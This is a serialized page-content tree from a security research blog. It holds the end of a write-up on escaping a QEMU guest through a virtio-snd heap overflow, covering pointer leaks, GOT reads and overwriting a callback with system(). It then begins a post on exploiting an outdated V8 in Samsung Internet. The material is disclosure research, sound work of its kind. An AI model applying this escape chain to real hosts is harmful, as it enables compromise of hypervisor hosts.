46},{"class":87,"line":23973},[131547,131551,131555,131559,131563,131567,131571,131575,131579,131583,131587,131591,131595],{"type":21,"tag":85,"props":131548,"children":131549},{"style":114},[131550],{"type":26,"value":124549},{"type":21,"tag":85,"props":131552,"children":131553},{"style":169},[131554],{"type":26,"value":741},{"type":21,"tag":85,"props":131556,"children":131557},{"style":1021},[131558],{"type":26,"value":124558},{"type":21,"tag":85,"props":131560,"children":131561},{"style":114},[131562],{"type":26,"value":1439},{"type":21,"tag":85,"props":131564,"children":131565},{"style":120},[131566],{"type":26,"value":52520},{"type":21,"tag":85,"props":131568,"children":131569},{"style":114},[131570],{"type":26,"value":14175},{"type":21,"tag":85,"props":131572,"children":131573},{"style":120},[131574],{"type":26,"value":124575},{"type":21,"tag":85,"props":131576,"children":131577},{"style":114},[131578],{"type":26,"value":256},{"type":21,"tag":85,"props":131580,"children":131581},{"style":120},[131582],{"type":26,"value":52520},{"type":21,"tag":85,"props":131584,"children":131585},{"style":114},[131586],{"type":26,"value":14175},{"type":21,"tag":85,"props":131588,"children":131589},{"style":120},[131590],{"type":26,"value":124592},{"type":21,"tag":85,"props":131592,"children":131593},{"style":114},[131594],{"type":26,"value":736},{"type":21,"tag":85,"props":131596,"children":131597},{"style":169},[131598],{"type":26,"value":51317},{"type":21,"tag":85,"props":131600,"children":131601},{"class":87,"line":23981},[131602,131606],{"type":21,"tag":85,"props":131603,"children":131604},{"style":102},[131605],{"type":26,"value":124608},{"type":21,"tag":85,"props":131607,"children":131608},{"style":114},[131609],{"type":26,"value":131610},"(virtio_snd_pcm_status);\n",{"type":21,"tag":85,"props":131612,"children":131613},{"class":87,"line":23989},[131614,131618,131622,131626,131630,131634,131638,131642,131647],{"type":21,"tag":85,"props":131615,"children":131616},{"style":114},[131617],{"type":26,"value":124626},{"type":21,"tag":85,"props":131619,"children":131620},{"style":169},[131621],{"type":26,"value":741},{"type":21,"tag":85,"props":131623,"children":131624},{"style":1021},[131625],{"type":26,"value":124635},{"type":21,"tag":85,"props":131627,"children":131628},{"style":114},[131629],{"type":26,"value":1439},{"type":21,"tag":85,"props":131631,"children":131632},{"style":102},[131633],{"type":26,"value":55784},{"type":21,"tag":85,"props":131635,"children":131636},{"style":114},[131637],{"type":26,"value":124648},{"type":21,"tag":85,"props":131639,"children":131640},{"style":169},[131641],{"type":26,"value":5151},{"type":21,"tag":85,"props":131643,"children":131644},{"style":114},[131645],{"type":26,"value":131646}," size);",{"type":21,"tag":85,"props":131648,"children":131649},{"style":92},[131650],{"type":26,"value":131651},"    // [1]\n",{"type":21,"tag":85,"props":131653,"children":131654},{"class":87,"line":23998},[131655,131659,131663,131667,131671],{"type":21,"tag":85,"props":131656,"children":131657},{"style":120},[131658],{"type":26,"value":124665},{"type":21,"tag":85,"props":131660,"children":131661},{"style":114},[131662],{"type":26,"value":14175},{"type":21,"tag":85,"props":131664,"children":131665},{"style":120},[131666],{"type":26,"value":52520},{"type":21,"tag":85,"props":131668,"children":131669},{"style":169},[131670],{"type":26,"value":1941},{"type":21,"tag":85,"props":131672,"children":131673},{"style":114},[131674],{"type":26,"value":124682},{"type":21,"tag":85,"props":131676,"children":131677},{"class":87,"line":24040},[131678,131682,131686,131690,131694,131699],{"type":21,"tag":85,"props":131679,"children":131680},{"style":120},[131681],{"type":26,"value":124665},{"type":21,"tag":85,"props":131683,"children":131684},{"style":114},[131685],{"type":26,"value":14175},{"type":21,"tag":85,"props":131687,"children":131688},{"style":120},[131689],{"type":26,"value":124334},{"type":21,"tag":85,"props":131691,"children":131692},{"style":169},[131693],{"type":26,"value":1941},{"type":21,"tag":85,"props":131695,"children":131696},{"style":114},[131697],{"type":26,"value":131698}," vq;",{"type":21,"tag":85,"props":131700,"children":131701},{"style":92},[131702],{"type":26,"value":131703},"                                            // [2]\n",{"type":21,"tag":85,"props":131705,"children":131706},{"class":87,"line":24073},[131707,131711,131715,131719,131723,131727],{"type":21,"tag":85,"props":131708,"children":131709},{"style":120},[131710],{"type":26,"value":124665},{"type":21,"tag":85,"props":131712,"children":131713},{"style":114},[131714],{"type":26,"value":14175},{"type":21,"tag":85,"props":131716,"children":131717},{"style":120},[131718],{"type":26,"value":124722},{"type":21,"tag":85,"props":131720,"children":131721},{"style":169},[131722],{"type":26,"value":1941},{"type":21,"tag":85,"props":131724,"children":131725},{"style":2285},[131726],{"type":26,"value":2830},{"type":21,"tag":85,"props":131728,"children":131729},{"style":114},[131730],{"type":26,"value":2535},{"type":21,"tag":85,"props":131732,"children":131733},{"class":87,"line":24081},[131734,131738,131742,131746,131750,131754],{"type":21,"tag":85,"props":131735,"children":131736},{"style":120},[131737],{"type":26,"value":124665},{"type":21,"tag":85,"props":131739,"children":131740},{"style":114},[131741],{"type":26,"value":14175},{"type":21,"tag":85,"props":131743,"children":131744},{"style":120},[131745],{"type":26,"value":14319},{"type":21,"tag":85,"props":131747,"children":131748},{"style":169},[131749],{"type":26,"value":1941},{"type":21,"tag":85,"props":131751,"children":131752},{"style":2285},[131753],{"type":26,"value":2830},{"type":21,"tag":85,"props":131755,"children":131756},{"style":114},[131757],{"type":26,"value":2535},{"type":21,"tag":85,"props":131759,"children":131760},{"class":87,"line":24089},[131761,131765,131769,131773,131777,131781,131785],{"type":21,"tag":85,"props":131762,"children":131763},{"style":1021},[131764],{"type":26,"value":124769},{"type":21,"tag":85,"props":131766,"children":131767},{"style":114},[131768],{"type":26,"value":1439},{"type":21,"tag":85,"props":131770,"children":131771},{"style":169},[131772],{"type":26,"value":2238},{"type":21,"tag":85,"props":131774,"children":131775},{"style":120},[131776],{"type":26,"value":36709},{"type":21,"tag":85,"props":131778,"children":131779},{"style":114},[131780],{"type":26,"value":14175},{"type":21,"tag":85,"props":131782,"children":131783},{"style":120},[131784],{"type":26,"value":124790},{"type":21,"tag":85,"props":131786,"children":131787},{"style":114},[131788],{"type":26,"value":131789},", buffer, entry);\n",{"type":21,"tag":85,"props":131791,"children":131792},{"class":87,"line":24098},[131793],{"type":21,"tag":85,"props":131794,"children":131795},{"style":114},[131796],{"type":26,"value":4118},{"type":21,"tag":22,"props":131798,"children":131799},{},[131800,131801,131806,131808,131813,131815,131820,131822,131828],{"type":26,"value":124844},{"type":21,"tag":66,"props":131802,"children":131804},{"className":131803},[],[131805],{"type":26,"value":124850},{"type":26,"value":131807},", QEMU allocates a ",{"type":21,"tag":66,"props":131809,"children":131811},{"className":131810},[],[131812],{"type":26,"value":124987},{"type":26,"value":131814}," whose size depends on the guest-provided iovec, and at ",{"type":21,"tag":66,"props":131816,"children":131818},{"className":131817},[],[131819],{"type":26,"value":124885},{"type":26,"value":131821}," it stores the ",{"type":21,"tag":66,"props":131823,"children":131825},{"className":131824},[],[131826],{"type":26,"value":131827},"VirtQueue *vq",{"type":26,"value":131829}," pointer into the buffer.",{"type":21,"tag":22,"props":131831,"children":131832},{},[131833,131834,131840],{"type":26,"value":64675},{"type":21,"tag":66,"props":131835,"children":131837},{"className":131836},[],[131838],{"type":26,"value":131839},"VirtQueue",{"type":26,"value":131841}," structure contains some useful fields:",{"type":21,"tag":75,"props":131843,"children":131845},{"code":131844,"language":3918,"meta":7,"className":16935,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[131846],{"type":21,"tag":66,"props":131847,"children":131848},{"__ignoreMap":7},[131849,131861,131868,131875,131882,131890,131907,131914,131921],{"type":21,"tag":85,"props":131850,"children":131851},{"class":87,"line":88},[131852,131856],{"type":21,"tag":85,"props":131853,"children":131854},{"style":102},[131855],{"type":26,"value":9814},{"type":21,"tag":85,"props":131857,"children":131858},{"style":114},[131859],{"type":26,"value":131860}," VirtQueue\n",{"type":21,"tag":85,"props":131862,"children":131863},{"class":87,"line":98},[131864],{"type":21,"tag":85,"props":131865,"children":131866},{"style":114},[131867],{"type":26,"value":11296},{"type":21,"tag":85,"props":131869,"children":131870},{"class":87,"line":151},[131871],{"type":21,"tag":85,"props":131872,"children":131873},{"style":114},[131874],{"type":26,"value":105263},{"type":21,"tag":85,"props":131876,"children":131877},{"class":87,"line":160},[131878],{"type":21,"tag":85,"props":131879,"children":131880},{"emptyLinePlaceholder":16},[131881],{"type":26,"value":703},{"type":21,"tag":85,"props":131883,"children":131884},{"class":87,"line":185},[131885],{"type":21,"tag":85,"props":131886,"children":131887},{"style":114},[131888],{"type":26,"value":131889},"    VirtIOHandleOutput handle_output;\n",{"type":21,"tag":85,"props":131891,"children":131892},{"class":87,"line":501},[131893,131898,131902],{"type":21,"tag":85,"props":131894,"children":131895},{"style":114},[131896],{"type":26,"value":131897},"    VirtIODevice ",{"type":21,"tag":85,"props":131899,"children":131900},{"style":169},[131901],{"type":26,"value":3052},{"type":21,"tag":85,"props":131903,"children":131904},{"style":114},[131905],{"type":26,"value":131906},"vdev;\n",{"type":21,"tag":85,"props":131908,"children":131909},{"class":87,"line":697},[131910],{"type":21,"tag":85,"props":131911,"children":131912},{"emptyLinePlaceholder":16},[131913],{"type":26,"value":703},{"type":21,"tag":85,"props":131915,"children":131916},{"class":87,"line":706},[131917],{"type":21,"tag":85,"props":131918,"children":131919},{"style":114},[131920],{"type":26,"value":105263},{"type":21,"tag":85,"props":131922,"children":131923},{"class":87,"line":1100},[131924],{"type":21,"tag":85,"props":131925,"children":131926},{"style":114},[131927],{"type":26,"value":16998},{"type":21,"tag":22,"props":131929,"children":131930},{},[131931,131932,131938,131940,131946],{"type":26,"value":17034},{"type":21,"tag":66,"props":131933,"children":131935},{"className":131934},[],[131936],{"type":26,"value":131937},".handle_output",{"type":26,"value":131939}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":21,"tag":66,"props":131941,"children":131943},{"className":131942},[],[131944],{"type":26,"value":131945},".vdev",{"type":26,"value":131947}," is the pointer passed to it as the first argument:",{"type":21,"tag":75,"props":131949,"children":131951},{"code":131950,"language":3918,"meta":7,"className":16935,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[131952],{"type":21,"tag":66,"props":131953,"children":131954},{"__ignoreMap":7},[131955,131988,131995,132050,132087,132094,132101,132108,132129,132136,132143,132150],{"type":21,"tag":85,"props":131956,"children":131957},{"class":87,"line":88},[131958,131962,131966,131971,131976,131980,131984],{"type":21,"tag":85,"props":131959,"children":131960},{"style":102},[131961],{"type":26,"value":51500},{"type":21,"tag":85,"props":131963,"children":131964},{"style":102},[131965],{"type":26,"value":51505},{"type":21,"tag":85,"props":131967,"children":131968},{"style":1021},[131969],{"type":26,"value":131970}," virtio_queue_notify_vq",{"type":21,"tag":85,"props":131972,"children":131973},{"style":114},[131974],{"type":26,"value":131975},"(VirtQueue ",{"type":21,"tag":85,"props":131977,"children":131978},{"style":169},[131979],{"type":26,"value":3052},{"type":21,"tag":85,"props":131981,"children":131982},{"style":120},[131983],{"type":26,"value":124334},{"type":21,"tag":85,"props":131985,"children":131986},{"style":114},[131987],{"type":26,"value":2485},{"type":21,"tag":85,"props":131989,"children":131990},{"class":87,"line":98},[131991],{"type":21,"tag":85,"props":131992,"children":131993},{"style":114},[131994],{"type":26,"value":11296},{"type":21,"tag":85,"props":131996,"children":131997},{"class":87,"line":151},[131998,132002,132006,132010,132014,132019,132023,132028,132032,132037,132041,132046],{"type":21,"tag":85,"props":131999,"children":132000},{"style":2885},[132001],{"type":26,"value":12696},{"type":21,"tag":85,"props":132003,"children":132004},{"style":114},[132005],{"type":26,"value":717},{"type":21,"tag":85,"props":132007,"children":132008},{"style":120},[132009],{"type":26,"value":124334},{"type":21,"tag":85,"props":132011,"children":132012},{"style":114},[132013],{"type":26,"value":14175},{"type":21,"tag":85,"props":132015,"children":132016},{"style":120},[132017],{"type":26,"value":132018},"vring",{"type":21,"tag":85,"props":132020,"children":132021},{"style":114},[132022],{"type":26,"value":73},{"type":21,"tag":85,"props":132024,"children":132025},{"style":120},[132026],{"type":26,"value":132027},"desc",{"type":21,"tag":85,"props":132029,"children":132030},{"style":169},[132031],{"type":26,"value":14603},{"type":21,"tag":85,"props":132033,"children":132034},{"style":120},[132035],{"type":26,"value":132036}," vq",{"type":21,"tag":85,"props":132038,"children":132039},{"style":114},[132040],{"type":26,"value":14175},{"type":21,"tag":85,"props":132042,"children":132043},{"style":120},[132044],{"type":26,"value":132045},"handle_output",{"type":21,"tag":85,"props":132047,"children":132048},{"style":114},[132049],{"type":26,"value":15222},{"type":21,"tag":85,"props":132051,"children":132052},{"class":87,"line":160},[132053,132058,132062,132067,132071,132075,132079,132083],{"type":21,"tag":85,"props":132054,"children":132055},{"style":114},[132056],{"type":26,"value":132057},"        VirtIODevice ",{"type":21,"tag":85,"props":132059,"children":132060},{"style":169},[132061],{"type":26,"value":3052},{"type":21,"tag":85,"props":132063,"children":132064},{"style":114},[132065],{"type":26,"value":132066},"vdev ",{"type":21,"tag":85,"props":132068,"children":132069},{"style":169},[132070],{"type":26,"value":741},{"type":21,"tag":85,"props":132072,"children":132073},{"style":120},[132074],{"type":26,"value":132036},{"type":21,"tag":85,"props":132076,"children":132077},{"style":114},[132078],{"type":26,"value":14175},{"type":21,"tag":85,"props":132080,"children":132081},{"style":120},[132082],{"type":26,"value":124320},{"type":21,"tag":85,"props":132084,"children":132085},{"style":114},[132086],{"type":26,"value":2535},{"type":21,"tag":85,"props":132088,"children":132089},{"class":87,"line":185},[132090],{"type":21,"tag":85,"props":132091,"children":132092},{"emptyLinePlaceholder":16},[132093],{"type":26,"value":703},{"type":21,"tag":85,"props":132095,"children":132096},{"class":87,"line":501},[132097],{"type":21,"tag":85,"props":132098,"children":132099},{"style":114},[132100],{"type":26,"value":124501},{"type":21,"tag":85,"props":132102,"children":132103},{"class":87,"line":697},[132104],{"type":21,"tag":85,"props":132105,"children":132106},{"emptyLinePlaceholder":16},[132107],{"type":26,"value":703},{"type":21,"tag":85,"props":132109,"children":132110},{"class":87,"line":706},[132111,132116,132120,132124],{"type":21,"tag":85,"props":132112,"children":132113},{"style":120},[132114],{"type":26,"value":132115},"        vq",{"type":21,"tag":85,"props":132117,"children":132118},{"style":114},[132119],{"type":26,"value":14175},{"type":21,"tag":85,"props":132121,"children":132122},{"style":1021},[132123],{"type":26,"value":132045},{"type":21,"tag":85,"props":132125,"children":132126},{"style":114},[132127],{"type":26,"value":132128},"(vdev, vq);\n",{"type":21,"tag":85,"props":132130,"children":132131},{"class":87,"line":1100},[132132],{"type":21,"tag":85,"props":132133,"children":132134},{"emptyLinePlaceholder":16},[132135],{"type":26,"value":703},{"type":21,"tag":85,"props":132137,"children":132138},{"class":87,"line":1339},[132139],{"type":21,"tag":85,"props":132140,"children":132141},{"style":114},[132142],{"type":26,"value":124501},{"type":21,"tag":85,"props":132144,"children":132145},{"class":87,"line":1348},[132146],{"type":21,"tag":85,"props":132147,"children":132148},{"style":114},[132149],{"type":26,"value":507},{"type":21,"tag":85,"props":132151,"children":132152},{"class":87,"line":1386},[132153],{"type":21,"tag":85,"props":132154,"children":132155},{"style":114},[132156],{"type":26,"value":2671},{"type":21,"tag":22,"props":132158,"children":132159},{},[132160,132162,132167,132169,132174,132176,132182,132184,132189,132190,132195,132197,132202],{"type":26,"value":132161},"This means that if we free the known-address chunk and replace it with a ",{"type":21,"tag":66,"props":132163,"children":132165},{"className":132164},[],[132166],{"type":26,"value":124987},{"type":26,"value":132168}," - which is straightforward, since we control the buffer allocation size through the ",{"type":21,"tag":66,"props":132170,"children":132172},{"className":132171},[],[132173],{"type":26,"value":124575},{"type":26,"value":132175}," iovec - we can use the arbitrary read primitive to read its ",{"type":21,"tag":66,"props":132177,"children":132179},{"className":132178},[],[132180],{"type":26,"value":132181},".vq",{"type":26,"value":132183}," pointer, then follow that pointer to leak ",{"type":21,"tag":66,"props":132185,"children":132187},{"className":132186},[],[132188],{"type":26,"value":131937},{"type":26,"value":16473},{"type":21,"tag":66,"props":132191,"children":132193},{"className":132192},[],[132194],{"type":26,"value":131839},{"type":26,"value":132196}," structure. In our case, that field points to ",{"type":21,"tag":66,"props":132198,"children":132200},{"className":132199},[],[132201],{"type":26,"value":124227},{"type":26,"value":132203},", which gives us QEMU's base address.",{"type":21,"tag":22,"props":132205,"children":132206},{},[132207,132209,132215],{"type":26,"value":132208},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":21,"tag":66,"props":132210,"children":132212},{"className":132211},[],[132213],{"type":26,"value":132214},"system",{"type":26,"value":73},{"type":21,"tag":10022,"props":132217,"children":132219},{"id":132218},"rip-control",[132220],{"type":26,"value":132221},"RIP Control",{"type":21,"tag":22,"props":132223,"children":132224},{},[132225,132227,132232,132234,132240],{"type":26,"value":132226},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":21,"tag":66,"props":132228,"children":132230},{"className":132229},[],[132231],{"type":26,"value":132214},{"type":26,"value":132233},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":21,"tag":66,"props":132235,"children":132237},{"className":132236},[],[132238],{"type":26,"value":132239},"VirtQueue.handle_output",{"type":26,"value":73},{"type":21,"tag":22,"props":132242,"children":132243},{},[132244,132246,132251,132253,132258,132260,132265],{"type":26,"value":132245},"We overwrite ",{"type":21,"tag":66,"props":132247,"children":132249},{"className":132248},[],[132250],{"type":26,"value":131937},{"type":26,"value":132252}," with the address of ",{"type":21,"tag":66,"props":132254,"children":132256},{"className":132255},[],[132257],{"type":26,"value":132214},{"type":26,"value":132259}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":21,"tag":66,"props":132261,"children":132263},{"className":132262},[],[132264],{"type":26,"value":131945},{"type":26,"value":132266}," with the address of that command string, so it is passed as the first argument.",{"type":21,"tag":22,"props":132268,"children":132269},{},[132270,132272,132278,132280,132286,132288,132294],{"type":26,"value":132271},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":21,"tag":66,"props":132273,"children":132275},{"className":132274},[],[132276],{"type":26,"value":132277},"virtio_queue_notify_vq",{"type":26,"value":132279},", which calls ",{"type":21,"tag":66,"props":132281,"children":132283},{"className":132282},[],[132284],{"type":26,"value":132285},"vq->handle_output(vq->vdev)",{"type":26,"value":132287}," - or, after our overwrites, ",{"type":21,"tag":66,"props":132289,"children":132291},{"className":132290},[],[132292],{"type":26,"value":132293},"system(command)",{"type":26,"value":73},{"type":21,"tag":22,"props":132296,"children":132297},{},[132298,132300,132306,132308],{"type":26,"value":132299},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":21,"tag":66,"props":132301,"children":132303},{"className":132302},[],[132304],{"type":26,"value":132305},"gnome-calculator",{"type":26,"value":132307}," on the host system:\n",{"type":21,"tag":31413,"props":132309,"children":132310},{},[],{"type":21,"tag":132312,"props":132313,"children":132322},"tweet-card",{"author-name":132314,"date":132315,"duration":132316,"handle":132317,"media-mime-type":132318,"media-src":132319,"media-type":132320,"tweet-url":132321},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[132323,132328,132333],{"type":21,"tag":22,"props":132324,"children":132325},{},[132326],{"type":26,"value":132327},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":21,"tag":22,"props":132329,"children":132330},{},[132331],{"type":26,"value":132332},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":21,"tag":22,"props":132334,"children":132335},{},[132336],{"type":26,"value":132337},"Writeup coming next week.",{"type":21,"tag":31413,"props":132339,"children":132340},{},[],{"type":21,"tag":22,"props":132342,"children":132343},{},[132344,132346,132352,132354,132360],{"type":26,"value":132345},"The final exploit, targeting QEMU commit ",{"type":21,"tag":66,"props":132347,"children":132349},{"className":132348},[],[132350],{"type":26,"value":132351},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":26,"value":132353}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":21,"tag":335,"props":132355,"children":132358},{"href":132356,"rel":132357},"https://github.com/otter-sec/qemu-escape",[339],[132359],{"type":26,"value":48039},{"type":26,"value":73},{"type":21,"tag":22,"props":132362,"children":132363},{},[132364,132366,132373],{"type":26,"value":132365},"Special thanks to ",{"type":21,"tag":335,"props":132367,"children":132370},{"href":132368,"rel":132369},"https://www.willsroot.io/",[339],[132371],{"type":26,"value":132372},"William Liu",{"type":26,"value":132374}," for proofreading this post and helping us polish it before publication.",{"type":21,"tag":54,"props":132376,"children":132377},{"id":29375},[132378],{"type":26,"value":19373},{"type":21,"tag":22,"props":132380,"children":132381},{},[132382],{"type":26,"value":132383},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":21,"tag":22,"props":132385,"children":132386},{},[132387],{"type":26,"value":132388},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":21,"tag":3632,"props":132390,"children":132391},{},[132392],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":132394},[132395,132398,132401,132410],{"id":124123,"depth":98,"text":124136,"children":132396},[132397],{"id":124144,"depth":151,"text":124147},{"id":124168,"depth":98,"text":124171,"children":132399},[132400],{"id":124182,"depth":151,"text":124182},{"id":100570,"depth":98,"text":100573,"children":132402},[132403,132404,132405,132406,132407,132408,132409],{"id":126774,"depth":151,"text":126777},{"id":128301,"depth":151,"text":128304},{"id":129095,"depth":151,"text":129098},{"id":129500,"depth":151,"text":129503},{"id":129716,"depth":151,"text":129719},{"id":129922,"depth":151,"text":129925},{"id":132218,"depth":151,"text":132221},{"id":29375,"depth":98,"text":19373},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":132415,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":132416,"description":132417,"date":132418,"author":132419,"image":132422,"isFeatured":16,"onBlogPage":16,"tags":132424,"body":132427,"_type":3642,"_id":142335,"_source":3644,"_file":142336,"_stem":142337,"_extension":3647},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[124119,132420,132421],"jamie","william",{"src":132423,"width":97730,"height":14041},"/posts/mobile-renderer-rce/title.png",[132425,132426],"RCE","mobile",{"type":18,"children":132428,"toc":142315},[132429,132433,132438,132452,132458,132472,132493,132501,132514,132522,132535,132541,132554,132568,132574,132588,132691,132696,132704,132709,132714,132735,132813,132821,132840,132853,132859,132865,132879,132995,133000,133005,133013,133018,133026,133054,133083,133095,133271,133276,133284,133303,133316,133322,133342,133356,133361,133366,133394,133430,133499,133505,133527,133532,133540,133553,133558,133566,133571,133610,133616,133629,133634,133812,133822,133830,133850,133874,133887,133893,133898,134540,134545,134553,134595,136584,136589,136597,136603,136636,136654,136824,136882,136907,137001,137006,137797,137802,137810,137821,139865,139870,139878,139884,139906,139920,139933,139945,139975,139980,140421,140449,140556,140573,140730,140735,140747,141043,141069,141092,141224,141236,141241,141393,141429,141442,141447,141569,141610,141687,141692,142266,142272,142284,142297,142301,142306,142311],{"type":21,"tag":54,"props":132430,"children":132431},{"id":29458},[132432],{"type":26,"value":29461},{"type":21,"tag":22,"props":132434,"children":132435},{},[132436],{"type":26,"value":132437},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":21,"tag":22,"props":132439,"children":132440},{},[132441,132443,132450],{"type":26,"value":132442},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":21,"tag":335,"props":132444,"children":132447},{"href":132445,"rel":132446},"https://cor.team",[339],[132448],{"type":26,"value":132449},"Crusaders of Rust",{"type":26,"value":132451}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":21,"tag":10022,"props":132453,"children":132455},{"id":132454},"finding-the-v8-version",[132456],{"type":26,"value":132457},"Finding the V8 Version",{"type":21,"tag":22,"props":132459,"children":132460},{},[132461,132463,132470],{"type":26,"value":132462},"We started by pulling Samsung Internet's APK from the device over ",{"type":21,"tag":335,"props":132464,"children":132467},{"href":132465,"rel":132466},"https://developer.android.com/tools/adb",[339],[132468],{"type":26,"value":132469},"adb",{"type":26,"value":132471}," and inspecting the libraries it shipped with.",{"type":21,"tag":22,"props":132473,"children":132474},{},[132475,132477,132483,132485,132491],{"type":26,"value":132476},"After extracting the APK, we searched the ",{"type":21,"tag":66,"props":132478,"children":132480},{"className":132479},[],[132481],{"type":26,"value":132482},"lib/",{"type":26,"value":132484}," directory for ",{"type":21,"tag":66,"props":132486,"children":132488},{"className":132487},[],[132489],{"type":26,"value":132490},"v8::*",{"type":26,"value":132492}," symbols:",{"type":21,"tag":75,"props":132494,"children":132496},{"code":132495},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[132497],{"type":21,"tag":66,"props":132498,"children":132499},{"__ignoreMap":7},[132500],{"type":26,"value":132495},{"type":21,"tag":22,"props":132502,"children":132503},{},[132504,132506,132512],{"type":26,"value":132505},"Only one file matched our search: ",{"type":21,"tag":66,"props":132507,"children":132509},{"className":132508},[],[132510],{"type":26,"value":132511},"libterrace.so",{"type":26,"value":132513},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":21,"tag":22,"props":132515,"children":132516},{},[132517],{"type":21,"tag":4681,"props":132518,"children":132521},{"alt":132519,"src":132520},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":21,"tag":22,"props":132523,"children":132524},{},[132525,132527,132533],{"type":26,"value":132526},"Surprisingly, this ",{"type":21,"tag":66,"props":132528,"children":132530},{"className":132529},[],[132531],{"type":26,"value":132532},"13.6.233.10",{"type":26,"value":132534}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":21,"tag":10022,"props":132536,"children":132538},{"id":132537},"choosing-the-bug",[132539],{"type":26,"value":132540},"Choosing the Bug",{"type":21,"tag":22,"props":132542,"children":132543},{},[132544,132546,132552],{"type":26,"value":132545},"We were able to trigger a couple of bugs on our locally compiled ",{"type":21,"tag":66,"props":132547,"children":132549},{"className":132548},[],[132550],{"type":26,"value":132551},"d8",{"type":26,"value":132553}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":21,"tag":22,"props":132555,"children":132556},{},[132557,132559,132566],{"type":26,"value":132558},"Another one was ",{"type":21,"tag":335,"props":132560,"children":132563},{"href":132561,"rel":132562},"https://issuetracker.google.com/issues/443875388",[339],[132564],{"type":26,"value":132565},"CVE-2025-10891",{"type":26,"value":132567}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":21,"tag":54,"props":132569,"children":132571},{"id":132570},"ignition-bytecode-introduction",[132572],{"type":26,"value":132573},"Ignition Bytecode Introduction",{"type":21,"tag":22,"props":132575,"children":132576},{},[132577,132579,132586],{"type":26,"value":132578},"V8 initially compiles all JS code to a bytecode format with the ",{"type":21,"tag":335,"props":132580,"children":132583},{"href":132581,"rel":132582},"https://v8.dev/blog/ignition-interpreter",[339],[132584],{"type":26,"value":132585},"Ignition",{"type":26,"value":132587}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":21,"tag":75,"props":132589,"children":132591},{"code":132590,"language":31810,"meta":7,"className":31808,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[132592],{"type":21,"tag":66,"props":132593,"children":132594},{"__ignoreMap":7},[132595,132618,132642,132666],{"type":21,"tag":85,"props":132596,"children":132597},{"class":87,"line":88},[132598,132602,132606,132610,132614],{"type":21,"tag":85,"props":132599,"children":132600},{"style":102},[132601],{"type":26,"value":12204},{"type":21,"tag":85,"props":132603,"children":132604},{"style":120},[132605],{"type":26,"value":90298},{"type":21,"tag":85,"props":132607,"children":132608},{"style":169},[132609],{"type":26,"value":1941},{"type":21,"tag":85,"props":132611,"children":132612},{"style":2285},[132613],{"type":26,"value":3279},{"type":21,"tag":85,"props":132615,"children":132616},{"style":114},[132617],{"type":26,"value":2535},{"type":21,"tag":85,"props":132619,"children":132620},{"class":87,"line":98},[132621,132625,132629,132633,132638],{"type":21,"tag":85,"props":132622,"children":132623},{"style":102},[132624],{"type":26,"value":12204},{"type":21,"tag":85,"props":132626,"children":132627},{"style":120},[132628],{"type":26,"value":91172},{"type":21,"tag":85,"props":132630,"children":132631},{"style":169},[132632],{"type":26,"value":1941},{"type":21,"tag":85,"props":132634,"children":132635},{"style":2285},[132636],{"type":26,"value":132637}," 